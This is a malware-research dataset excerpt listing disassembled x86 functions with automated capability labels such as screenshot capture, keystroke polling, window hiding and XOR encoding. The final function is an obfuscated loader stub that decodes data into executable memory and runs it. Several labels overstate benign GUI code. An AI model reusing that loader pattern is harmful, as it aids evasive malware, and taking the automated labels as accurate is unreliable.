joyce8/EMBER2024-capa huggingface dataset:
Function at 0x7cfd4c
Capabilities:
Capture screenshot

Disassembly:
push ebp
mov ebp, esp
push ebx
push esi
push edi
mov edi, dword [ebp + 8]
add edi, 0xfffffffc
push 0xcc0020
push 0
mov eax, dword [ebp + 8]
mov eax, dword [eax - 0xc]
inc eax
push eax
mov eax, dword [edi]
call fcn.005209e0
call fcn.0051a144
push eax
mov eax, dword [edi]
mov edx, dword [eax]
call dword [edx + 0x24]
push eax
mov eax, dword [ebp + 8]
mov eax, dword [eax - 8]
push eax
push 0
mov eax, dword [edi]
mov edx, dword [eax]
call dword [edx + 0x30]
mov edx, dword [ebp + 8]
sub eax, dword [edx - 8]
push eax
mov eax, dword [edi]
call fcn.005209e0
call fcn.0051a144
push eax
call sub.gdi32.dll_BitBlt
mov eax, dword [ebp + 8]
mov ebx, dword [eax + 0x10]
dec ebx
test ebx, ebx
jl 0x7cfdfa
inc ebx
xor esi, esi
push 0xcc0020
push 0
mov eax, dword [ebp + 8]
mov eax, dword [eax - 0xc]
push eax
mov eax, dword [edi]
call fcn.005209e0
call fcn.0051a144
push eax
mov eax, dword [edi]
mov edx, dword [eax]
call dword [edx + 0x24]
push eax
push 1
push 0
mov eax, dword [ebp + 8]
mov eax, dword [eax - 0xc]
add eax, esi
inc eax
push eax
mov eax, dword [edi]
call fcn.005209e0
call fcn.0051a144
push eax
call sub.gdi32.dll_BitBlt
inc esi
dec ebx
jne 0x7cfdb3
pop edi
pop esi
pop ebx
pop ebp
ret
Function at 0x7eb5d8
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff8
xor eax, eax
mov dword [ebp - 8], eax
xor eax, eax
push ebp
push 0x7eb649
push dword fs:[eax]
mov dword fs:[eax], esp
lea eax, [ebp - 4]
push eax
mov eax, dword [0x90c3f4]
push eax
push 0
call sub.shell32.dll_SHGetSpecialFolderLocation
cmp dword [ebp - 4], 0
je 0x7eb633
mov eax, dword [ebp - 4]
push eax
lea eax, [ebp - 8]
call fcn.007eb5bc
mov eax, dword [ebp - 8]
push eax
xor ecx, ecx
mov dl, 1
mov eax, dword [0x7ea9e8]
call fcn.007ec0a4
mov dword [0x90c458], eax
mov eax, dword [ebp - 4]
call fcn.007eb568
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x7eb650
lea eax, [ebp - 8]
call fcn.0040e1e0
ret

Function at 0x8006a4
Capabilities:
Log keystrokes via polling

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffffd8
push ebx
push esi
push edi
mov esi, edx
lea edi, [ebp - 0x28]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
mov dword [ebp - 8], ecx
mov dword [ebp - 4], eax
mov edi, dword [ebp + 8]
mov dword [ebp - 0xc], 0xffffffff
xor ecx, ecx
xor edx, edx
mov eax, dword [ebp - 4]
call fcn.007fdbcc
mov ebx, eax
lea eax, [ebp - 0x28]
xor edx, edx
call fcn.00870654
mov esi, eax
mov eax, ebx
add eax, eax
mov edx, esi
sub edx, eax
mov dword [ebp - 0x10], edx
cmp edi, dword [ebp - 0x24]
jl 0x8007e4
cmp edi, dword [ebp - 0x1c]
jge 0x8007e4
lea eax, [ebp - 0x18]
push eax
lea ecx, [ebp - 0x14]
lea edx, [ebp - 0x28]
mov eax, dword [ebp - 4]
call fcn.007fe158
mov eax, ebx
add eax, eax
cmp esi, eax
jg 0x800720
mov ebx, esi
sar ebx, 1
jns 0x800720
adc ebx, 0
mov eax, dword [ebp - 0x28]
cmp eax, dword [ebp - 8]
jg 0x800739
add eax, ebx
cmp eax, dword [ebp - 8]
jle 0x800739
xor eax, eax
mov dword [ebp - 0xc], eax
jmp 0x8007e4
mov eax, dword [ebp - 0x20]
mov edx, eax
sub edx, ebx
cmp edx, dword [ebp - 8]
jg 0x800756
cmp eax, dword [ebp - 8]
jle 0x800756
mov dword [ebp - 0xc], 1
jmp 0x8007e4
mov eax, dword [ebp - 0x14]
cmp eax, dword [ebp - 0x10]
jl 0x800767
mov dword [ebp - 0xc], 0xffffffff
jmp 0x8007e4
mov eax, dword [ebp - 8]
cmp eax, dword [ebp - 0x18]
jl 0x800783
mov eax, dword [ebp - 0x18]
add eax, dword [ebp - 0x14]
cmp eax, dword [ebp - 8]
jle 0x800783
mov dword [ebp - 0xc], 5
jmp 0x8007e4
mov eax, dword [ebp - 0x28]
add eax, ebx
cmp eax, dword [ebp - 8]
jg 0x8007b3
mov eax, dword [ebp - 8]
cmp eax, dword [ebp - 0x18]
jge 0x8007b3
push 0x10
call sub.user32.dll_GetAsyncKeyState
test ax, ax
jge 0x8007aa
mov dword [ebp - 0xc], 4
jmp 0x8007e4
mov dword [ebp - 0xc], 2
jmp 0x8007e4
mov eax, dword [ebp - 0x18]
add eax, dword [ebp - 0x14]
cmp eax, dword [ebp - 8]
jg 0x8007e4
mov eax, dword [ebp - 0x20]
sub eax, ebx
cmp eax, dword [ebp - 8]
jle 0x8007e4
push 0x10
call sub.user32.dll_GetAsyncKeyState
test ax, ax
jge 0x8007dd
mov dword [ebp - 0xc], 4
jmp 0x8007e4
mov dword [ebp - 0xc], 3
mov eax, dword [ebp - 0xc]
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 4
Function at 0x8007f0
Capabilities:
Log keystrokes via polling

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffffdc
push ebx
push esi
push edi
mov esi, edx
lea edi, [ebp - 0x24]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
mov edi, ecx
mov dword [ebp - 4], eax
mov dword [ebp - 8], 0xffffffff
xor ecx, ecx
xor edx, edx
mov eax, dword [ebp - 4]
call fcn.007fdbcc
mov ebx, eax
lea eax, [ebp - 0x24]
xor edx, edx
call fcn.00870668
mov esi, eax
mov eax, ebx
add eax, eax
mov edx, esi
sub edx, eax
mov dword [ebp - 0xc], edx
cmp edi, dword [ebp - 0x24]
jl 0x80092c
cmp edi, dword [ebp - 0x1c]
jge 0x80092c
lea eax, [ebp - 0x14]
push eax
lea ecx, [ebp - 0x10]
lea edx, [ebp - 0x24]
mov eax, dword [ebp - 4]
call fcn.007fe158
mov eax, ebx
add eax, eax
cmp esi, eax
jg 0x800868
mov ebx, esi
sar ebx, 1
jns 0x800868
adc ebx, 0
mov eax, dword [ebp - 0x20]
cmp eax, dword [ebp + 8]
jg 0x800881
add eax, ebx
cmp eax, dword [ebp + 8]
jle 0x800881
xor eax, eax
mov dword [ebp - 8], eax
jmp 0x80092c
mov eax, dword [ebp - 0x18]
mov edx, eax
sub edx, ebx
cmp edx, dword [ebp + 8]
jg 0x80089e
cmp eax, dword [ebp + 8]
jle 0x80089e
mov dword [ebp - 8], 1
jmp 0x80092c
mov eax, dword [ebp - 0x10]
cmp eax, dword [ebp - 0xc]
jl 0x8008af
mov dword [ebp - 8], 0xffffffff
jmp 0x80092c
mov eax, dword [ebp + 8]
cmp eax, dword [ebp - 0x14]
jl 0x8008cb
mov eax, dword [ebp - 0x14]
add eax, dword [ebp - 0x10]
cmp eax, dword [ebp + 8]
jle 0x8008cb
mov dword [ebp - 8], 5
jmp 0x80092c
mov eax, dword [ebp - 0x20]
add eax, ebx
cmp eax, dword [ebp + 8]
jg 0x8008fb
mov eax, dword [ebp + 8]
cmp eax, dword [ebp - 0x14]
jge 0x8008fb
push 0x10
call sub.user32.dll_GetAsyncKeyState
test ax, ax
jge 0x8008f2
mov dword [ebp - 8], 4
jmp 0x80092c
mov dword [ebp - 8], 2
jmp 0x80092c
mov eax, dword [ebp - 0x14]
add eax, dword [ebp - 0x10]
cmp eax, dword [ebp + 8]
jg 0x80092c
mov eax, dword [ebp - 0x18]
sub eax, ebx
cmp eax, dword [ebp + 8]
jle 0x80092c
push 0x10
call sub.user32.dll_GetAsyncKeyState
test ax, ax
jge 0x800925
mov dword [ebp - 8], 4
jmp 0x80092c
mov dword [ebp - 8], 3
mov eax, dword [ebp - 8]
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 4
Function at 0x832df8
Capabilities:
Get graphical window text

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffff828
push ebx
push esi
push edi
xor ecx, ecx
mov dword [ebp - 0x7d8], ecx
mov ebx, edx
mov edi, eax
xor eax, eax
push ebp
push 0x832ec1
push dword fs:[eax]
mov dword fs:[eax], esp
mov eax, ebx
call fcn.0040a008
mov eax, dword [0x90e594]
cmp dword [eax], 2
jne 0x832e76
push edi
call sub.user32.dll_GetWindowTextLengthW
mov edx, eax
inc edx
mov eax, ebx
call fcn.0040ad80
mov esi, dword [ebx]
test esi, esi
je 0x832e4e
sub esi, 4
mov eax, dword [esi]
shr eax, 1
mov esi, eax
push esi
mov eax, dword [ebx]
call fcn.0040ac18
push eax
push edi
call sub.user32.dll_GetWindowTextW
mov eax, dword [ebx]
test eax, eax
je 0x832e6a
sub eax, 4
mov eax, dword [eax]
shr eax, 1
mov edx, eax
dec edx
mov eax, ebx
call fcn.0040ad80
jmp 0x832ea8
lea eax, [ebp - 0x7d2]
push eax
push 0x3e8
push 0xd
push edi
call sub.user32.dll_SendMessageW
lea edx, [ebp - 0x7d8]
lea eax, [ebp - 0x7d2]
call fcn.004276d8
mov edx, dword [ebp - 0x7d8]
mov eax, ebx
call fcn.0040af30
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x832ec8
lea eax, [ebp - 0x7d8]
call fcn.00409fc0
ret

Function at 0x8367bc
Capabilities:
Access peb ldr_data

Disassembly:
push ebp
mov ebp, esp
push 0
push ebx
push esi
mov ebx, eax
xor eax, eax
push ebp
push 0x836866
push dword fs:[eax]
mov dword fs:[eax], esp
mov eax, dword [ebx + 0x44]
add eax, 2
add dword [ebx + 0x24], eax
cmp byte [ebx + 0x74], 0
je 0x83680f
lea eax, [ebp - 4]
push eax
mov ecx, dword [ebx + 0x48]
mov esi, dword [ebx + 0x50]
sub ecx, esi
mov edx, esi
mov eax, dword [ebx + 0x14]
call fcn.0040b200
mov eax, dword [ebp - 4]
push eax
mov ecx, dword [ebx + 0x44]
mov edx, dword [ebx + 0x40]
mov eax, ebx
call fcn.00833b38
mov eax, dword [ebx + 0x4c]
mov dword [ebx + 0x50], eax
mov eax, dword [ebx + 0x40]
cmp eax, dword [ebx + 0x38]
jle 0x83681a
mov dword [ebx + 0x38], eax
xor eax, eax
mov dword [ebx + 0x40], eax
xor eax, eax
mov dword [ebx + 0x44], eax
inc dword [ebx + 0x30]
mov eax, ebx
call fcn.008364f4
mov eax, dword [ebx + 0x48]
mov dword [ebx + 0x54], eax
mov eax, dword [ebx + 0x4c]
mov dword [ebx + 0x58], eax
lea eax, [ebx + 0xc]
mov edx, dword [ebx + 4]
call fcn.0040a3a0
lea eax, [ebx + 0x10]
mov edx, dword [ebx + 8]
call fcn.0040a3a0
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x83686d
lea eax, [ebp - 4]
call fcn.00409fc0
ret
Function at 0x838820
Capabilities:
Create process on windows

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff8
push ebx
push esi
xor ecx, ecx
mov dword [ebp - 4], ecx
mov esi, edx
mov ebx, eax
xor eax, eax
push ebp
push 0x8388c6
push dword fs:[eax]
mov dword fs:[eax], esp
mov byte [ebp - 5], 1
lea eax, [ebp - 4]
lea edx, [esi + esi*4]
mov ecx, dword [ebx + 0x224]
mov edx, dword [ecx + edx*4 + 0x10]
call fcn.0040a3e8
cmp word [ebx + 0x232], 0
je 0x838877
lea eax, [ebp - 5]
push eax
lea ecx, [ebp - 4]
mov edx, ebx
mov eax, dword [ebx + 0x234]
call dword [ebx + 0x230]
cmp dword [ebp - 4], 0
setne al
and al, byte [ebp - 5]
je 0x8388b0
movzx eax, byte [ebx + 0x228]
push eax
push 0
push 0
mov eax, dword [ebp - 4]
call fcn.0040ae24
push eax
push 0x8388d4
mov eax, dword [0x90de38]
mov eax, dword [eax]
mov eax, dword [eax + 0x188]
push eax
call sub.shell32.dll_ShellExecuteW
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x8388cd
lea eax, [ebp - 4]
call fcn.00409fc0
ret
Function at 0x8448bc
Capabilities:
Hide graphical window

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffffd8
push ebx
push esi
push edi
mov dword [ebp - 4], edx
mov ebx, eax
cmp dword [ebx + 0x70], 0
jne 0x8448d7
mov eax, ebx
call fcn.00844610
cmp dword [ebx + 0x58], 0
jne 0x8448e4
mov eax, ebx
call fcn.00844568
mov esi, dword [ebx + 0x70]
test esi, esi
je 0x844a67
cmp dword [ebx + 0x58], 0
je 0x844a67
lea edx, [ebp - 0xc]
mov eax, esi
call fcn.008705ac
lea edx, [ebp - 0x28]
mov eax, ebx
call fcn.008444e8
mov edx, dword [ebp - 0x20]
mov ecx, edx
mov esi, dword [ebp - 0x28]
sub ecx, esi
mov eax, dword [ebp - 0xc]
cmp ecx, eax
je 0x844945
mov ecx, dword [ebp - 8]
sub ecx, dword [ebp - 0x1c]
add ecx, dword [ebp - 0x24]
sar ecx, 1
jns 0x84492e
adc ecx, 0
lea edi, [ebp - 0x28]
push edi
sub eax, edx
add eax, esi
sar eax, 1
jns 0x84493d
adc eax, 0
mov edx, eax
pop eax
call fcn.00413688
mov eax, dword [ebx + 0x78]
mov eax, dword [eax + 0xdc]
test eax, eax
je 0x84495b
call fcn.0055010c
mov esi, eax
jmp 0x84495e
mov esi, dword [ebx + 0x74]
push 0xffffffffffffffec
push esi
call sub.user32.dll_GetWindowLongW
test al, 8
je 0x84496f
or esi, 0xffffffff
jmp 0x844979
push 3
push esi
call sub.user32.dll_GetWindow
mov esi, eax
mov edi, 0x610
mov eax, dword [ebx + 0x58]
mov edx, dword [ebp - 0x28]
call fcn.0061b9bc
mov eax, dword [ebx + 0x58]
mov edx, dword [ebp - 0x24]
call fcn.0061b9f8
mov eax, dword [ebx + 0x58]
mov edx, dword [ebp - 0xc]
call fcn.00546134
mov eax, dword [ebx + 0x58]
mov edx, dword [ebp - 8]
call fcn.0054616c
lea ecx, [ebp - 0x14]
xor edx, edx
xor eax, eax
call fcn.008705f0
movzx edx, byte [ebp - 4]
lea eax, [ebp - 0x18]
call fcn.00870dbc
or edi, 2
or edi, 1
push edi
push 0
push 0
push 0
push 0
push esi
mov eax, dword [ebx + 0x58]
call fcn.0055010c
push eax
call sub.user32.dll_SetWindowPos
push 0
call sub.user32.dll_GetDC
mov edi, eax
mov eax, dword [ebx + 0x58]
call fcn.0055010c
mov esi, eax
mov eax, dword [ebx + 0x58]
call fcn.0055010c
push 0xffffffffffffffec
push eax
call sub.user32.dll_GetWindowLongW
or eax, 0x80000
or eax, 0x8000000
or eax, 0x20
push eax
push 0xffffffffffffffec
push esi
call sub.user32.dll_SetWindowLongW
push 2
lea eax, [ebp - 0x18]
push eax
push 0x1fffffff
lea eax, [ebp - 0x14]
push eax
mov eax, dword [ebx + 0x70]
call fcn.005209e0
call fcn.0051a144
push eax
lea eax, [ebp - 0xc]
push eax
push 0
push edi
mov eax, dword [ebx + 0x58]
call fcn.0055010c
push eax
mov eax, dword [0x90d384]
mov eax, dword [eax]
call eax
push 4
mov eax, dword [ebx + 0x58]
call fcn.0055010c
push eax
call sub.user32.dll_ShowWindow
push edi
push 0
call sub.user32.dll_ReleaseDC
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0x8498b4
Capabilities:
Find taskbar

Disassembly:
push ebp
mov ebp, esp
push 0
push 0x8498c8
call sub.user32.dll_FindWindowW
pop ebp
ret
Function at 0x86c744
Capabilities:
Hide graphical window

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffffdc
push ebx
push esi
push edi
mov edi, edx
mov ebx, eax
cmp dword [ebx + 0x58], 0
jne 0x86c75e
mov eax, ebx
call fcn.0086c004
cmp dword [ebx + 0x5c], 0
jne 0x86c76b
mov eax, ebx
call fcn.0086bf80
mov esi, dword [ebx + 0x58]
test esi, esi
je 0x86c8ef
cmp dword [ebx + 0x5c], 0
je 0x86c8ef
lea edx, [ebp - 8]
mov eax, esi
call fcn.008705ac
lea edx, [ebp - 0x24]
mov eax, ebx
call fcn.0086be2c
lea eax, [ebp - 0x24]
xor edx, edx
call fcn.00870654
cmp eax, dword [ebp - 8]
je 0x86c7d9
lea eax, [ebp - 0x24]
xor edx, edx
call fcn.00870668
mov edx, dword [ebp - 4]
sub edx, eax
sar edx, 1
jns 0x86c7b9
adc edx, 0
push edx
lea eax, [ebp - 0x24]
xor edx, edx
call fcn.00870654
mov edx, dword [ebp - 8]
sub edx, eax
sar edx, 1
jns 0x86c7d0
adc edx, 0
lea eax, [ebp - 0x24]
pop ecx
call fcn.00413688
mov eax, dword [ebx + 0x60]
test eax, eax
je 0x86c7ec
mov eax, dword [eax + 0x2c]
call fcn.0055010c
mov esi, eax
jmp 0x86c7ef
mov esi, dword [ebx + 0x74]
push 0xffffffffffffffec
push esi
call sub.user32.dll_GetWindowLongW
test al, 8
je 0x86c800
or esi, 0xffffffff
jmp 0x86c80a
push 3
push esi
call sub.user32.dll_GetWindow
mov esi, eax
mov eax, dword [ebx + 0x5c]
mov edx, dword [ebp - 0x24]
call fcn.0061b9bc
mov eax, dword [ebx + 0x5c]
mov edx, dword [ebp - 0x20]
call fcn.0061b9f8
mov eax, dword [ebx + 0x5c]
mov edx, dword [ebp - 8]
call fcn.00546134
mov eax, dword [ebx + 0x5c]
mov edx, dword [ebp - 4]
call fcn.0054616c
lea ecx, [ebp - 0x10]
xor edx, edx
xor eax, eax
call fcn.008705f0
mov edx, edi
lea eax, [ebp - 0x14]
call fcn.00870dbc
push 0x61b
push 0
push 0
push 0
push 0
push esi
mov eax, dword [ebx + 0x5c]
call fcn.0055010c
push eax
call sub.user32.dll_SetWindowPos
push 0
call sub.user32.dll_GetDC
mov edi, eax
mov eax, dword [ebx + 0x5c]
call fcn.0055010c
mov esi, eax
mov eax, dword [ebx + 0x5c]
call fcn.0055010c
push 0xffffffffffffffec
push eax
call sub.user32.dll_GetWindowLongW
or eax, 0x80000
or eax, 0x8000000
or eax, 0x20
push eax
push 0xffffffffffffffec
push esi
call sub.user32.dll_SetWindowLongW
push 2
lea eax, [ebp - 0x14]
push eax
push 0x1fffffff
lea eax, [ebp - 0x10]
push eax
mov eax, dword [ebx + 0x58]
call fcn.005209e0
call fcn.0051a144
push eax
lea eax, [ebp - 8]
push eax
push 0
push edi
mov eax, dword [ebx + 0x5c]
call fcn.0055010c
push eax
mov eax, dword [0x90d384]
mov eax, dword [eax]
call eax
push 4
mov eax, dword [ebx + 0x5c]
call fcn.0055010c
push eax
call sub.user32.dll_ShowWindow
push edi
push 0
call sub.user32.dll_ReleaseDC
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x8712c8
Capabilities:
Check if file exists
Get file attributes

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffffec
mov byte [ebp - 5], dl
mov dword [ebp - 4], eax
mov byte [ebp - 6], 0
mov eax, dword [ebp - 4]
call fcn.0040ae24
push eax
call sub.kernel32.dll_GetFileAttributesW
mov dword [ebp - 0xc], eax
cmp dword [ebp - 0xc], 0xffffffff
je 0x871396
test byte [ebp - 0xb], 4
jne 0x871306
test byte [ebp - 0xc], 0x10
setne byte [ebp - 6]
jmp 0x8713c3
cmp byte [ebp - 5], 0
je 0x87134c
push 0
push 0x2000000
push 3
push 0
push 1
push 0x80000000
mov eax, dword [ebp - 4]
call fcn.0040ae24
push eax
call sub.kernel32.dll_CreateFileW
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], 0xffffffff
je 0x8713c3
mov eax, dword [ebp - 0x10]
push eax
call sub.kernel32.dll_CloseHandle_1
test byte [ebp - 0xc], 0x10
setne byte [ebp - 6]
jmp 0x8713c3
test byte [ebp - 0xc], 0x10
je 0x871358
mov byte [ebp - 6], 1
jmp 0x8713c3
push 0
push 0x2000000
push 3
push 0
push 1
push 0x80000000
mov eax, dword [ebp - 4]
call fcn.0040ae24
push eax
call sub.kernel32.dll_CreateFileW
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], 0xffffffff
je 0x871390
mov eax, dword [ebp - 0x10]
push eax
call sub.kernel32.dll_CloseHandle_1
mov byte [ebp - 6], 0
jmp 0x8713c3
mov byte [ebp - 6], 1
jmp 0x8713c3
call sub.kernel32.dll_GetLastError_2
mov dword [ebp - 0x14], eax
mov eax, dword [ebp - 0x14]
add eax, 0xfffffffe
sub eax, 2
jb 0x8713bc
sub eax, 0x11
je 0x8713bc
sub eax, 0x20
je 0x8713bc
sub eax, 0x46
je 0x8713bc
xor eax, eax
jmp 0x8713be
mov al, 1
xor al, 1
mov byte [ebp - 6], al
mov al, byte [ebp - 6]
mov esp, ebp
pop ebp
ret
Function at 0x8a409c
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
push ebx
push esi
push edi
mov edi, ecx
mov esi, edx
mov ebx, eax
test esi, esi
jne 0x8a40b3
xor eax, eax
jmp 0x8a41c2
cmp dword [0x99fbf8], 0
jne 0x8a40c1
call fcn.008a4024
xor ebx, 0xffffffff
cmp edi, 8
jb 0x8a4199
mov eax, ebx
xor al, byte [esi]
movzx eax, al
mov edx, dword [0x99fbf8]
mov eax, dword [edx + eax*4]
shr ebx, 8
xor eax, ebx
mov ebx, eax
inc esi
mov eax, ebx
xor al, byte [esi]
movzx eax, al
mov edx, dword [0x99fbf8]
mov eax, dword [edx + eax*4]
shr ebx, 8
xor eax, ebx
mov ebx, eax
inc esi
mov eax, ebx
xor al, byte [esi]
movzx eax, al
mov edx, dword [0x99fbf8]
mov eax, dword [edx + eax*4]
shr ebx, 8
xor eax, ebx
mov ebx, eax
inc esi
mov eax, ebx
xor al, byte [esi]
movzx eax, al
mov edx, dword [0x99fbf8]
mov eax, dword [edx + eax*4]
shr ebx, 8
xor eax, ebx
mov ebx, eax
inc esi
mov eax, ebx
xor al, byte [esi]
movzx eax, al
mov edx, dword [0x99fbf8]
mov eax, dword [edx + eax*4]
shr ebx, 8
xor eax, ebx
mov ebx, eax
inc esi
mov eax, ebx
xor al, byte [esi]
movzx eax, al
mov edx, dword [0x99fbf8]
mov eax, dword [edx + eax*4]
shr ebx, 8
xor eax, ebx
mov ebx, eax
inc esi
mov eax, ebx
xor al, byte [esi]
movzx eax, al
mov edx, dword [0x99fbf8]
mov eax, dword [edx + eax*4]
shr ebx, 8
xor eax, ebx
mov ebx, eax
inc esi
mov eax, ebx
xor al, byte [esi]
movzx eax, al
mov edx, dword [0x99fbf8]
mov eax, dword [edx + eax*4]
shr ebx, 8
xor eax, ebx
mov ebx, eax
inc esi
sub edi, 8
cmp edi, 8
jae 0x8a40cd
test edi, edi
jbe 0x8a41bd
movzx eax, byte [esi]
xor eax, ebx
and eax, 0xff
mov edx, dword [0x99fbf8]
mov eax, dword [edx + eax*4]
shr ebx, 8
xor eax, ebx
mov ebx, eax
inc esi
dec edi
test edi, edi
ja 0x8a419d
or eax, 0xffffffff
xor eax, ebx
pop edi
pop esi
pop ebx
pop ebp
ret
Function at 0x8c46d8
Capabilities:
Delete file

Disassembly:
push ebp
mov ebp, esp
mov ecx, 6
push 0
push 0
dec ecx
jne 0x8c46e0
push ebx
push esi
push edi
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
call fcn.0040a0a4
xor eax, eax
push ebp
push 0x8c48cf
push dword fs:[eax]
mov dword fs:[eax], esp
xor edx, edx
push ebp
push 0x8c488d
push dword fs:[edx]
mov dword fs:[edx], esp
mov dl, 1
mov eax, dword [0x493218]
call fcn.004b9080
mov dword [ebp - 0xc], eax
xor edx, edx
push ebp
push 0x8c4853
push dword fs:[edx]
mov dword fs:[edx], esp
call fcn.00433bec
mov ecx, eax
mov edx, dword [ebp - 4]
mov eax, dword [ebp - 0xc]
mov ebx, dword [eax]
call dword [ebx + 0x70]
mov eax, dword [ebp - 0xc]
mov edx, dword [eax]
call dword [edx + 0x14]
dec eax
test eax, eax
jl 0x8c47fa
inc eax
mov dword [ebp - 0x10], eax
xor ebx, ebx
lea ecx, [ebp - 8]
mov edx, ebx
mov eax, dword [ebp - 0xc]
mov esi, dword [eax]
call dword [esi + 0xc]
mov eax, dword [ebp - 8]
test eax, eax
je 0x8c4770
sub eax, 4
mov eax, dword [eax]
test eax, eax
jle 0x8c47f0
mov esi, 1
mov edx, dword [ebp - 8]
cmp word [edx + esi*2 - 2], 0x3b
jne 0x8c47ec
lea eax, [ebp - 0x14]
push eax
mov ecx, esi
dec ecx
mov edx, 1
mov eax, dword [ebp - 8]
call fcn.0040b200
mov ecx, dword [ebp - 0x14]
mov edx, ebx
mov eax, dword [ebp - 0xc]
mov edi, dword [eax]
call dword [edi + 0x20]
lea ecx, [ebp - 0x1c]
mov edx, ebx
mov eax, dword [ebp - 0xc]
mov edi, dword [eax]
call dword [edi + 0xc]
mov eax, dword [ebp - 0x1c]
lea edx, [ebp - 0x18]
call fcn.004252c4
lea eax, [ebp - 0x20]
push eax
lea ecx, [ebp - 0x24]
mov edx, ebx
mov eax, dword [ebp - 0xc]
mov edi, dword [eax]
call dword [edi + 0xc]
mov eax, dword [ebp - 0x24]
xor ecx, ecx
mov edx, 0x8c48ec
call fcn.008c3f98
mov ecx, dword [ebp - 0x20]
mov edx, ebx
mov eax, dword [ebp - 0xc]
mov edi, dword [eax]
call dword [edi + 0x20]
jmp 0x8c47f0
inc esi
dec eax
jne 0x8c4779
inc ebx
dec dword [ebp - 0x10]
jne 0x8c4757
lea eax, [ebp - 0x28]
mov ecx, 0x8c48fc
mov edx, dword [ebp - 4]
call fcn.0040b090
mov eax, dword [ebp - 0x28]
call fcn.0040ae24
push eax
call sub.kernel32.dll_DeleteFileW
call fcn.00433bec
push eax
lea eax, [ebp - 0x2c]
mov ecx, 0x8c48fc
mov edx, dword [ebp - 4]
call fcn.0040b090
mov edx, dword [ebp - 0x2c]
mov eax, dword [ebp - 0xc]
pop ecx
mov ebx, dword [eax]
call dword [ebx + 0x84]
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x8c485a
mov eax, dword [ebp - 0xc]
call fcn.00408198
ret
Function at 0x1000fde0
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x40
pushal
call 0x1000fdef
pop dword [ebp - 0x30]
mov eax, 0x1000fdef
sub dword [ebp - 0x30], eax
mov dword [ebp - 0x40], 0x4333c62
sub dword [ebp - 0x40], 0xb5e0f717
mov dword [ebp - 0x3c], 0x980a65cc
sub dword [ebp - 0x3c], 0x65d71987
mov dword [ebp - 0x38], 0x7c4feb7e
add dword [ebp - 0x38], 0xcffc58b0
mov dword [ebp - 0x34], 0x8f792633
sub dword [ebp - 0x34], 0x8f792633
lea eax, [ebp - 0x40]
push eax
mov eax, 0x13e502f6
sub eax, 0x3df31ee
add eax, dword [ebp - 0x30]
call dword [eax]
mov dword [ebp - 0x40], 0x47627a69
add dword [ebp - 0x40], 0x2d0feeed
mov dword [ebp - 0x3c], 0x349de886
sub dword [ebp - 0x3c], 0xf3318711
mov dword [ebp - 0x38], 0xf0daacdc
add dword [ebp - 0x38], 0x7294bf90
mov dword [ebp - 0x34], 0x52c48a28
add dword [ebp - 0x34], 0xad3b75d8
lea ebx, [ebp - 0x40]
push ebx
push eax
mov eax, 0x8e75ea8c
sub eax, 0x7e70198c
add eax, dword [ebp - 0x30]
call dword [eax]
push 0x40
push 0x1000
push 0x4ff37
push 0
call eax
mov ecx, 0xcb01b718
sub ecx, 0xcb016e3c
mov edi, eax
mov ebx, 0x10090e00
add ebx, dword [ebp - 0x30]
mov edx, 0x27cda760
mov esi, dword [ebx]
sub dword [ebp - 0x10], 0x441d851e
sub esi, edx
xor dword [ebp - 0x20], esi
mov dword [edi], esi
sub dword [ebp - 0xc], 0x9003b45f
add edi, 0xffbcf6d4
add edi, 0x430930
add ebx, 0xb7bdeedb
add ebx, 0x48421129
loop 0x1000ff00
add eax, 0x47d58608
add eax, 0xb82b903b
xor ebx, ebx
add ebx, eax
add eax, 0x98518e65
add eax, 0x67ae71a0
mov ecx, 0xc844a890
sub ecx, 0xb844a890
add ecx, dword [ebp - 0x30]
call ebx
leave
ret